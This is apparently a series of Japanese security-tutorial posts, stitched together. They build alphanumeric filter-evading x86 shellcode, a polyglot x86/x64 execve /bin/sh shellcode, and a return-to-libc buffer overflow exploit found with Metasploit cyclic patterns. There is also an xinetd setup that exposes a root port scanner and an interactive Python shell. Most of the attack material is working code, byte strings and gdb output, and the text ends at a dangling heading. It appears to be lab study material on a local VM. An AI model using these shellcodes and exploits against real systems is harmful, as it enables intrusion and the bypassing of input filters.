$ gcc -nostdlib test.s $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
alphanumericな即値同士のxorでスタックを作ってみる
次に、alphanumericな命令のみでスタックを作ることを考えてみる。 xor命令を使い、alphanumericな即値から上と同じスタックを作るコードを書くと次のようになる。
/* test2.s */ .intel_syntax noprefix .globl _start _start: push 0x30 pop eax xor al, 0x30 push eax push eax push eax /* edx = 0 */ push eax /* ebx = 0 */ push eax push eax push eax push eax popad dec edx /* edx = 0xffffffff */ /* push 0x80cd0b42 */ push edx pop eax xor eax, 0x30413230 xor eax, 0x4f733972 push eax push esp pop ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x8de18953 */ push edx pop eax xor eax, 0x30443030 xor eax, 0x425a4663 push eax push esp pop ecx xor [ecx], dh /* push 0x52e3896e */ push ebx pop eax xor eax, 0x30443034 xor eax, 0x6258465a push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x69622f68 */ push ebx pop eax xor eax, 0x30304130 xor eax, 0x59526e58 push eax /* push 0x68732f2f */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58436e6e push eax /* push 0x6852d231 */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58626c70 push eax push esp pop ecx inc ecx xor [ecx], dh jmp esp
このコードでは、まずpopad命令を使いebxに0x00000000、edxに0xFFFFFFFFをセットする。 そして、alphanumericな即値同士のxorにより必要な値を組み立てる。 ただし、alphanumericなバイト同士のxorのみでは8ビット目が立てられないため、0x80-0xFFとなるバイトについては一度スタック上に置いた値を1バイトずつdhでxorする。 また、3バイト以上0x80-0xFFが含まれるワードについては、最初に0xFFFFFFFFとxorすることで命令の数を減らしている。
ここで、ある値をalphanumericな即値と0xFFに分解するのには、次のようなコードを利用した。
# decomposite.py import sys import struct word = int(sys.argv[1], 16) allowed = range(0x30, 0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b) chunk = struct.pack('<I', word) x = '' y = '' z = '' for c in map(ord, chunk): if c >= 0x80: z += '\xff' c ^= 0xff else: z += '\x00' for i in allowed: if i^c in allowed: x += chr(i) y += chr(i^c) break print hex(struct.unpack('<I', x)[0]) print hex(struct.unpack('<I', y)[0]) print hex(struct.unpack('<I', z)[0])
このコードを実行すると、0x80cd0b42
が0x30413230 ^ 0x4f733972 ^ 0xffff0000
のように分解できることがわかる。
$ python decomposite.py 0x80cd0b42 0x30413230 0x4f733972 0xffff0000L
できあがったコードをアセンブルして実行すると、元のコード同様にシェルが起動できていることがわかる。
$ gcc -nostdlib test2.s $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
動的にjmp espを作るコードを書いてみる
上のコードでは、まだjmp esp
(ff e4) がalphanumericにできていない。
そこで、jmp esp
の代わりにpush esp; ret
(54 c3) を使い、c3をalphanumericなバイト同士のxorで作ることを考える。
実行時に適当なレジスタがシェルコードの先頭を指していることを前提に、コードを書いてみると次のようになる。
/* alnum.s */ .intel_syntax noprefix .globl _start _start: /* set buffer register to ecx */ push eax pop ecx prepare_registers: push 0x30 pop eax xor al, 0x30 /* omit eax, ecx */ push eax /* edx = 0 */ push eax /* ebx = 0 */ push eax push eax push ecx /* esi = buffer */ push eax popad dec edx /* edx = 0xffffffff */ patch_ret: /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */ push edx pop eax xor al, 0x44 push 0x30 pop ecx dec ecx dec ecx dec ecx dec ecx dec ecx xor [esi+2*ecx+0x30], al build_stack: /* push 0x80cd0b42 */ push edx pop eax xor eax, 0x30413230 xor eax, 0x4f733972 push eax push esp pop ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x8de18953 */ push edx pop eax xor eax, 0x30443030 xor eax, 0x425a4663 push eax push esp pop ecx xor [ecx], dh /* push 0x52e3896e */ push ebx pop eax xor eax, 0x30443034 xor eax, 0x6258465a push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x69622f68 */ push ebx pop eax xor eax, 0x30304130 xor eax, 0x59526e58 push eax /* push 0x68732f2f */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58436e6e push eax /* push 0x6852d231 */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x58626c70 push eax push esp pop ecx inc ecx xor [ecx], dh push esp ret: .byte 0x78
このコードでは、まず適当なレジスタに入っているシェルコードの先頭アドレスをesiレジスタにセットする。
そして、esi+2*ecx+0x30
がretの位置を指すようにecxの値を調整した上で、xorにより0xc3 (ret) を動的に作る。
その後は、スタックが作られた後espへのジャンプが行われる。
アセンブルしてバイト列を表示してみると、すべてalphanumericなバイトにできていることがわかる。
$ gcc -nostdlib alnum.s $ objdump -s a.out a.out: file format elf32-i386 Contents of section .note.gnu.build-id: 8048074 04000000 14000000 03000000 474e5500 ............GNU. 8048084 bea2a073 77a1aee3 62ee4d65 1e835118 ...sw...b.Me..Q. 8048094 d50fd08c .... Contents of section .text: 8048098 50596a30 58343050 50505051 50614a52 PYj0X40PPPPQPaJR 80480a8 5834446a 30594949 49494930 444e3052 X4Dj0YIIIII0DN0R 80480b8 58353032 41303572 39734f50 54593031 X502A05r9sOPTY01 80480c8 41303152 58353030 44303563 465a4250 A01RX500D05cFZBP 80480d8 54593031 53583534 30443035 5a465862 TY01SX540D05ZFXb 80480e8 50545941 30314130 31535835 30413030 PTYA01A01SX50A00 80480f8 35586e52 59505358 35414130 30356e6e 5XnRYPSX5AA005nn 8048108 43585053 58354141 30303570 6c625850 CXPSX5AA005plbXP 8048118 54594130 315478 TYA01Tx $ strings -n8 a.out PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
このシェルコードの長さは135バイトである。
シェルコードにジャンプするプログラムを書いてみる
できあがったシェルコードをスタック上に置き、明示的にジャンプするプログラムを書くと次のようになる。
/* shellcode.c */ int main() { char shellcode[] = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx"; (*(void (*)())shellcode)(); }
$ gcc -z execstack shellcode.c $ ./a.out $ id uid=1000(user) gid=1000(user) groups=1000(user) $
シェルが起動できていることが確認できた。
gdbで動作を確認してみる
gdbを使い、シェルコードの動作を確認してみる。 まずは、シェルコードが実行される直前まで進めてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x804840a Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x0804840a in main () (gdb) disp/i $pc 1: x/i $pc => 0x804840a <main+6>: and esp,0xfffffff0 (gdb) disas Dump of assembler code for function main: 0x08048404 <+0>: push ebp 0x08048405 <+1>: mov ebp,esp 0x08048407 <+3>: push edi 0x08048408 <+4>: push esi 0x08048409 <+5>: push ebx => 0x0804840a <+6>: and esp,0xfffffff0 0x0804840d <+9>: sub esp,0x90 ... 0x08048438 <+52>: lea eax,[esp+0x4] 0x0804843c <+56>: call eax 0x0804843e <+58>: mov edx,DWORD PTR [esp+0x8c] ... End of assembler dump. (gdb) u *main+56 0x0804843c in main () 1: x/i $pc => 0x804843c <main+56>: call eax
ここで、シェルコードのアドレスはeaxレジスタに入っている。
eaxレジスタでない場合には、push eax
に対応するシェルコードの先頭1バイトを書き換えればよい。
xorによりret (0xc3) が動的に作られていることを確認してみる。
(gdb) si 0xbffff704 in ?? () 1: x/i $pc => 0xbffff704: push eax (gdb) x/40i $pc => 0xbffff704: push eax 0xbffff705: pop ecx ... 0xbffff71e: dec ecx 0xbffff71f: xor BYTE PTR [esi+ecx*2+0x30],al 0xbffff723: push edx ... (gdb) b *0xbffff71f Breakpoint 2 at 0xbffff71f (gdb) c Continuing. Breakpoint 2, 0xbffff71f in ?? () 1: x/i $pc => 0xbffff71f: xor BYTE PTR [esi+ecx*2+0x30],al (gdb) x/bx $esi+$ecx*2+0x30 0xbffff78a: 0x78 (gdb) si 0xbffff723 in ?? () 1: x/i $pc => 0xbffff723: push edx (gdb) x/bx $esi+$ecx*2+0x30 0xbffff78a: 0xc3
一連の処理が終わった後、スタック上に普通のシェルコードが並べられていることを確認してみる。
(gdb) x/60i $pc => 0xbffff723: push edx 0xbffff724: pop eax 0xbffff725: xor eax,0x30413230 0xbffff72a: xor eax,0x4f733972 0xbffff72f: push eax ... 0xbffff789: push esp 0xbffff78a: ret ... (gdb) b *0xbffff78a Breakpoint 3 at 0xbffff78a (gdb) c Continuing. Breakpoint 3, 0xbffff78a in ?? () 1: x/i $pc => 0xbffff78a: ret (gdb) x/8wx $esp 0xbffff6e8: 0xbffff6ec 0x6852d231 0x68732f2f 0x69622f68 0xbffff6f8: 0x52e3896e 0x8de18953 0x80cd0b42 0x306a5950
push esp
からのret命令により、展開されたシェルコードが実行されていることを確認してみる。
(gdb) si 0xbffff6ec in ?? () 1: x/i $pc => 0xbffff6ec: xor edx,edx (gdb) x/10i $pc => 0xbffff6ec: xor edx,edx 0xbffff6ee: push edx 0xbffff6ef: push 0x68732f2f 0xbffff6f4: push 0x6e69622f 0xbffff6f9: mov ebx,esp 0xbffff6fb: push edx 0xbffff6fc: push ebx 0xbffff6fd: mov ecx,esp 0xbffff6ff: lea eax,[edx+0xb] 0xbffff702: int 0x80 (gdb) c Continuing. process 14629 is executing new program: /bin/dash $ [Inferior 1 (process 14629) exited normally] (gdb) quit
関連する話題について
ここでは、xorによる実行時書き換えによってpush esp; ret
を作りespに制御を移した。
この方法の他にも、シェルコードがスタック上に置かれているという前提のもと、シェルコードジャンプ時のeipとespが近くになることを利用する方法もある。
具体的には、popad命令の繰り返しによりespをeipより先のアドレスに進めた後、eipが進む方向と逆向きにスタックを積み上げていく。
そして最後に、eipがその上に到達するまで0x90909090(nop命令4個)を繰り返し積み上げる。
/* eax = 0x90909090 */ 50 push eax | eip 50 push eax | 50 push eax | 50 push eax v ... ... ... ... 90 nop ^ 90 nop | 90 nop | 90 nop | esp [shellcode]
また、xorとpushにより普通のシェルコードを展開したが、後続するバイト列のデコーダを展開することもできる。 すなわち、alphanumericなバイト列にエンコードしたシェルコードをデコーダの後ろに繋げ、実行時に展開されたデコーダがそれを元に戻す。 このようにすれば、汎用的な形で任意のシェルコードをalphanumeic shellcodeに変換することができる。
alphanumericなバイト列で表されるもの以外にも、0x20-0x7eの印字可能文字(printable characters)のみで表されるもの、UTF-16文字列として表されるもの、UTF-8文字列として表されるものも考えることができる。
関連リンク
- Bypassing MSB Data Filters for Buffer Overflow Exploits on Intel Platforms
- Writing ia32 alphanumeric shellcodes (Phrack 57)
- Building IA32 'Unicode-Proof' Shellcodes (Phrack 61)
- Writing UTF-8 compatible shellcodes (Phrack 62)
- CTFはとんでもないものを 盗んでいきました。私の時間です…
- alpha3 - Alphanumeric shellcode encoder
- Alphanumeric Shellcode - Metasploit Unleashed
xinetdでリバースポートスキャナを作る
xinetdを使うと、標準入出力を使うスクリプトなどを簡単にネットワークサーバにすることができる。 ここでは、xinetdを使ってさまざまなネットワークサーバを作ってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
インストール
Ubuntuの場合デフォルトでは入っていないので、aptリポジトリからインストールする必要がある。
$ sudo apt-get install xinetd
uptime
次のようなファイルをxinitd.confとして保存する。
service unlisted { type = UNLISTED socket_type = stream protocol = tcp wait = no only_from = localhost 192.168.0.0/16 port = 20020 user = nobody server = /usr/bin/uptime }
ここでは、only_fromエントリを使いサーバへの接続をlocalhostとプライベートネットワークからに制限している。
引数として上のファイルを指定し、デバッグモードにてサービスを起動してみる。
$ sudo xinetd -f xinetd.conf -d
別のターミナルからncコマンドやtelnetコマンドで記述したポートに接続すると、コマンドの実行結果が表示される。
$ nc localhost 20020 11:26:50 up 10 min, 2 users, load average: 0.25, 0.11, 0.06
ここではuptimeコマンドにより、起動時間とロードアベレージが表示される。
python shell
ソケットからの入力も扱う例として、server、server_argsエントリを次のように書き換えてみる。
server = /usr/bin/python server_args = -i
この場合、接続するとPythonのインタラクティブモードが操作できるようになる。
$ nc localhost 20020 Python 2.7.3 (default, Feb 27 2014, 20:00:17) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.system('/bin/sh') id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) 0 >>>
もちろん、このようなサービスをそのまま外部に公開することは危険である。 たとえば、上のようにすればシェルが操作できるようになる。
what's my ip
接続元のIPアドレスはREMOTE_HOST環境変数にセットされる。 これを利用して、server、server_argsエントリを次のように書き換えてみる。
server = /usr/bin/printenv server_args = REMOTE_HOST
サーバを起動して別のターミナルから接続すると、接続元のIPアドレスが表示される。
$ nc localhost 20020 127.0.0.1
reverse traceroute
userエントリをrootにし、server、server_argsエントリを次のように書き換えてみる。
user = root server = /bin/sh server_args = /tmp/traceroute.sh
上で指定したシェルスクリプトには、次のような内容を書いておく。
# traceroute.sh traceroute -I -w1 "$REMOTE_HOST"
サーバを起動して別のターミナルから接続すると、サーバから接続元へのtraceroute結果が表示される。
$ nc localhost 20020 traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 60 byte packets 1 localhost (127.0.0.1) 0.044 ms 0.008 ms 0.008 ms
reverse port scanner
さらに次のように書き換えてみる。
port = 65535 user = root server = /bin/sh server_args = /tmp/nmap.sh
上で指定したシェルスクリプトには、次のような内容を書いておく。
# nmap.sh nmap -v -sSVC -O -p-65534 "$REMOTE_HOST"
ここで、サーバを起動するポートは65535とし、スキャン対象のポート番号からは外しておく。
サーバを起動して別のターミナルから接続すると、サーバから接続元へポートスキャンをかけた結果が表示される。
$ nc localhost 65535 Starting Nmap 5.21 ( http://nmap.org ) at 2014-07-09 15:23 JST NSE: Loaded 36 scripts for scanning. Initiating SYN Stealth Scan at 15:23 Scanning localhost (127.0.0.1) [65534 ports] (snip) Nmap done: 1 IP address (1 host up) scanned in 41.25 seconds Raw packets sent: 65644 (2.892MB) | Rcvd: 131300 (5.521MB)
関連リンク
x86とx64の両方で動くシェルコードを書いてみる
オペコードの解釈の違いを利用し、Linux x86とLinux x64の両方で動くシェルコード(polyglot shellcode)を書いてみる。
環境
Ubuntu 12.04 LTS 32bit版および64bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
x64におけるREXプレフィックス
x64では、レジスタを64bit幅として扱うとき命令の頭にREXプレフィックスと呼ばれる1バイトのプレフィックスがつけられる。 64bitのLinux上で確認してみる。
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ echo "test eax, eax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 85C0 test eax,eax $ echo "test rax, rax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 4885C0 test rax,rax
ここでは、48がREXプレフィックスである。
一方、x86では48はdec eax
を意味する。
すなわち、x86とx64では48 85 C0
の解釈が異なる。
$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86 -D -b binary -m i386 hoge 00000000 <.data>: 0: 48 dec eax 1: 85 c0 test eax,eax $ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86-64 -D -b binary -m i386 hoge 00000000 <.data>: 0: 48 85 c0 test rax,rax
これを利用することで、動作しているアーキテクチャがx86かx64かを判定することができる。
シェルコードを書いてみる
上の違いを利用し、各アーキテクチャ用のシェルコードに分岐するシェルコードを書くと次のようになる。
/* polyglot.s */ .intel_syntax noprefix .globl _start _start: xor rax, rax test rax, rax jne x86 x64: .ascii "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" x86: .ascii "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
x86用は「Linux x86用のシェルコードを書いてみる」、x64用は「x64でスタックバッファオーバーフローをやってみる」で作ったシェルコードを利用した。
64bit環境上でアセンブルしてみる。
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ gcc -nostdlib polyglot.s $ objdump -d a.out 00000000004000d4 <_start>: 4000d4: 48 31 c0 xor rax,rax 4000d7: 48 85 c0 test rax,rax 4000da: 75 1d jne 4000f9 <x86> 00000000004000dc <x64>: 4000dc: 48 31 d2 xor rdx,rdx 4000df: 52 push rdx 4000e0: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f 4000e7: 2f 73 68 4000ea: 50 push rax 4000eb: 48 89 e7 mov rdi,rsp 4000ee: 52 push rdx 4000ef: 57 push rdi 4000f0: 48 89 e6 mov rsi,rsp 4000f3: 48 8d 42 3b lea rax,[rdx+0x3b] 4000f7: 0f 05 syscall 00000000004000f9 <x86>: 4000f9: 31 d2 xor edx,edx 4000fb: 52 push rdx 4000fc: 68 2f 2f 73 68 push 0x68732f2f 400101: 68 2f 62 69 6e push 0x6e69622f 400106: 89 e3 mov ebx,esp 400108: 52 push rdx 400109: 53 push rbx 40010a: 89 e1 mov ecx,esp 40010c: 8d 42 0b lea eax,[rdx+0xb] 40010f: cd 80 int 0x80 $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
このシェルコードの長さは61バイトである。
シェルコードをファイルに書き出し、x86とx64でそれぞれディスアセンブルしてみると次のようになる。
$ echo -en '\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > polyglot $ objdump -M intel,x86 -b binary -m i386 -D polyglot 00000000 <.data>: 0: 48 dec eax 1: 31 c0 xor eax,eax 3: 48 dec eax 4: 85 c0 test eax,eax 6: 75 1d jne 0x25 ... 25: 31 d2 xor edx,edx 27: 52 push edx 28: 68 2f 2f 73 68 push 0x68732f2f 2d: 68 2f 62 69 6e push 0x6e69622f 32: 89 e3 mov ebx,esp 34: 52 push edx 35: 53 push ebx 36: 89 e1 mov ecx,esp 38: 8d 42 0b lea eax,[edx+0xb] 3b: cd 80 int 0x80 $ objdump -M intel,x86-64 -b binary -m i386 -D shellcode 00000000 <.data>: 0: 48 31 c0 xor rax,rax 3: 48 85 c0 test rax,rax 6: 75 1d jne 0x25 8: 48 31 d2 xor rdx,rdx b: 52 push rdx c: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f 13: 2f 73 68 16: 50 push rax 17: 48 89 e7 mov rdi,rsp 1a: 52 push rdx 1b: 57 push rdi 1c: 48 89 e6 mov rsi,rsp 1f: 48 8d 42 3b lea rax,[rdx+0x3b] 23: 0f 05 syscall ...
test eax, eax
はeaxが0かどうかを判定する命令であるが、x86の場合はxor eax, eax
の後dec eax
が実行されるため、これは偽となり0x25にジャンプする。
一方、x64の場合は真となり、ジャンプは行われない。
シェルコードにジャンプするプログラムを書いてみる
スタック上に置いたシェルコードにジャンプするプログラムを書いてみる。
/* shellcode.c */ #include <stdio.h> int main() { char shellcode[] = "\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; printf("shellcode = %p\n", shellcode); (*(void (*)())shellcode)(); }
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ gcc -z execstack shellcode.c $ ./a.out shellcode = 0xbff97d3e $ id uid=1000(user) gid=1000(user) groups=1000(user) $
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ gcc -z execstack shellcode.c $ ./a.out shellcode = 0x7fff93bc6da0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
同一のシェルコードにより、x86、x64の両方でシェルが起動できていることが確認できた。
関連リンク
Metasploit patternによるEIPまでのオフセット計算
スタックバッファオーバーフロー脆弱性が存在する状況において、送り込む文字列と実際に書き変わったEIPを比べることで、EIPまでのオフセットを計算することができる。 ここでは、Metasploit pattern(あるいはcyclic pattern)と呼ばれる文字列を使ったオフセット計算をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
Metasploit Frameworkをインストールする
ここでは、Metasploit patternの生成にMetasploit付属のスクリプトを使うことにする。 ドキュメントを参考に、GithubリポジトリからMetasploitをインストールする。
$ sudo apt-get -y install \ build-essential zlib1g zlib1g-dev \ libxml2 libxml2-dev libxslt-dev locate \ libreadline6-dev libcurl4-openssl-dev git-core \ libssl-dev libyaml-dev openssl autoconf libtool \ ncurses-dev bison curl wget postgresql \ postgresql-contrib libpq-dev \ libapr1 libaprutil1 libsvn1 \ libpcap-dev $ sudo apt-get install libsqlite3-dev # ドキュメントから抜けている $ sudo apt-get install ruby1.9.3 # rvmを使う代わりに直接インストール $ cd /opt $ sudo git clone https://github.com/rapid7/metasploit-framework.git $ cd metasploit-framework $ sudo gem install bundler --no-ri --no-rdoc $ bundle install
脆弱性のあるプログラムを書いてみる
スタックバッファオーバーフロー脆弱性のあるプログラムを用意する。
/* bof.c */ #include <stdio.h> int main() { char buf[100]; setlinebuf(stdout); gets(buf); puts(buf); return 0; }
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c
gdbで起動し、スタックバッファオーバーフローを起こしてみる。
$ python -c 'print "A"*200' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) quit
スタックバッファオーバーフローによりEIPが 0x41414141 (AAAA) に書き変わった結果、セグメンテーション違反で落ちていることがわかる。
EIPまでのオフセットを計算してみる
pattern_create.rbを使うと、次のような文字列を生成することができる。
$ /opt/metasploit-framework/tools/pattern_create.rb 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
gdbを使い、この文字列を送り込んでみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Program received signal SIGSEGV, Segmentation fault. 0x64413764 in ?? () (gdb) quit
EIPが0x64413764に書き変わっていることがわかる。 この4バイト (0x64413764 = "\x64\x37\x41\x64" = "d7Ad") が送り込んだ文字列の何バイト目にあるかを調べることで、EIPまでのオフセットがわかる。 この計算には、同じディレクトリにあるpattern_offset.rbが使える。
$ /opt/metasploit-framework/tools/pattern_offset.rb 0x64413764 [*] Exact match at offset 112
上の結果から、112バイト目からの4バイトがEIPになっていることがわかる。
エクスプロイトコードを書いてみる
得られたオフセットを使い、Return-to-libcでシェルを起動するエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE base_libc = int(sys.argv[1], 16) offset = 112 addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh" buf = 'A' * offset buf += struct.pack('<I', addr_libc_system) buf += struct.pack('<I', addr_libc_exit) buf += struct.pack('<I', addr_libc_binsh) buf += struct.pack('<I', 0) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.stdin.write('exec <&2 >&2\n') p.wait()
このコードは、libcのベースアドレスを引数に取る。
gdbなどでlibcのベースアドレスを調べ、エクスプロイトコードを実行すると次のようになる。
$ python exploit.py 0xb7e29000 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\x84\xe6\xb7\xb0\xbf\xe5\xb7\x98\xad\xf8\xb7\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
EIPが書き変わり、シェルが起動できていることが確認できた。
Pythonスクリプトによる簡易版
